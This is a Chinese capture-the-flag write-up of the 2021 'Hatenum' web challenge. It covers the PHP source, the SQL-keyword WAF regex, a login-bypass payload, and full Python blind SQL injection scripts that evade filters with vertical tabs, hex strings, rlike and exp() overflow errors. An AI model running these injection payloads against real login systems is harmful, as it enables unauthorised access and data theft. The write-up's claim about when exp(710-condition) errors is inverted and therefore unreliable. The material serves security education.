2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析
字数 1546 2025-08-22 12:23:36
Hatenum Web 挑战深入分析与利用指南
挑战概述
Hatenum 是 2021 年数字中国创新大赛虎符网络安全赛道决赛中的一个 Web 题目,主要考察 SQL 注入绕过和盲注技术。挑战目标是获取 admin 权限并读取 flag。
源代码分析
文件结构
- index.php: 登录页面,提交表单到 login.php
- config.php: 包含 User 类和 WAF 检测功能
- register.php: 用户注册功能
- login.php: 用户登录处理
- home.php: 登录成功后显示 flag 的页面
关键功能点
-
User 类功能:
- MySQL 数据库连接
- 用户查询 (find)
- 用户创建 (register)
- 用户信息验证 (login)
-
登录验证流程:
- 使用 SQL 语句拼接进行验证
- 包含 code 验证(code 来自数据库查询结果)
- code 可能是全局唯一或用户唯一
-
WAF 防护:
array_waf递归检测输入数据- 包含两种检测:
num_waf: 检测 9 位十进制或 9 位十六进制数字sql_waf: 检测 SQL 注入关键字
WAF 绕过分析
SQL_WAF 过滤内容
正则表达式:
/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|r|\n|\t|substr|right|left|mid/i
数字 WAF 过滤内容
正则表达式:
/\d{9}|0x[0-9a-f]{9}/i
密码绕过技术
使用以下 payload 绕过密码验证:
username=admin&password=||1#
对应的 SQL 语句:
SELECT * FROM users WHERE username='admin' AND password='||1#'
盲注技术实现
盲注限制与绕过方法
-
字符截取类:
- 禁用: substr, left, right, mid
- 绕过: like, rlike, instr
-
语句分割:
- 禁用: 空格, r(%0d), n(%0a), t(%09)
- 绕过: %a0( ), %0b(垂直制表符), %0c(换页符)
-
逻辑运算:
- 禁用: and, or, =, >, <, regexp
- 绕过: like, greatest, least
-
条件判断:
- 禁用: if (因为禁用了逗号)
- 绕过: case, nullif
盲注思路
- 先盲注 code 长度
- 然后依次盲注每个字符
利用脚本详解
1. 获取 code 长度
def get_code_length():
for i in range(20):
guess_length_payload = f'||exp(710-((length(code)) like ({i})))#'
payload = guess_length_payload.replace(' ', chr(0x0b))
data = {
'username': 'admin\\',
'password': payload,
'code': '123'
}
response = requests.post(base_url+'/login.php', data=data,
allow_redirects=False,
proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
return i
return False
原理:利用 MySQL 的 exp() 函数在数值过大时会报错的特性,构造条件判断。
2. 字符串转换函数
def str2hex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2,'0')
return ret
将字符串转换为十六进制表示,避免使用引号被 WAF 检测。
3. 获取 code 内容
def get_code(length):
# 从开头匹配
tmp = '^'
result1 = ''
while len(result1) < length:
for i in string.ascii_letters:
guess_str_payload = f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
payload = guess_str_payload.replace(' ', chr(0x0b))
data = {
'username': 'admin\\',
'password': payload,
'code': '123'
}
response = requests.post(base_url+'/login.php', data=data,
allow_redirects=False,
proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result1 += i
if len(tmp) == 3:
tmp = tmp[1:] + i
else:
tmp += i
break
log.info(f'result1 =>{result1}')
# 从末尾匹配
tmp = '$'
result2 = ''
while len(result2) < length:
for i in string.ascii_letters:
guess_str_payload = f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
payload = guess_str_payload.replace(' ', chr(0x0b))
data = {
'username': 'admin\\',
'password': payload,
'code': '123'
}
response = requests.post(base_url+'/login.php', data=data,
allow_redirects=False,
proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result2 = i + result2
if len(tmp) == 3:
tmp = i + tmp[:-1]
else:
tmp = i + tmp
break
log.info(f'result2 =>{result2}')
if result2 == result1:
return result1
else:
log.debug(f'长度:{length},result1:{result1}, result2:{result2}')
return input('输入分析后的 result:')
技术要点:
- 使用
rlike和binary进行精确匹配 - 同时从开头和结尾进行匹配以提高准确性
- 使用
exp(710-(condition))构造布尔盲注 - 限制 username 为 admin(0x61646d 是 'adm' 的十六进制)
4. 获取 flag
def get_flag(code):
guess_str_payload = '||1#'
payload = guess_str_payload.replace(' ', chr(0x0b))
data = {
'username': 'admin',
'password': payload,
'code': code
}
response = requests.post(base_url+'/login.php', data=data,
proxies={'http':'127.0.0.1:8080'})
if 'hub' in response.text:
return response.text
else:
return False
关键知识点总结
-
MySQL exp() 函数利用:
- exp(710) 接近 MySQL 的 double 类型上限
- exp(710-condition) 会在 condition 为真时报错
-
正则表达式绕过:
- 使用
rlike代替regexp - 使用
binary确保大小写敏感匹配
- 使用
-
WAF 绕过技巧:
- 使用垂直制表符 (0x0b) 代替空格
- 限制 payload 长度避免数字 WAF 检测
- 使用十六进制编码避免引号检测
-
盲注优化:
- 同时从字符串开头和结尾进行匹配
- 使用滑动窗口技术 (tmp 变量) 提高效率
参考资源
通过本指南,您应该能够全面理解 Hatenum 挑战的各个技术要点,并掌握类似的 SQL 注入绕过和盲注技术。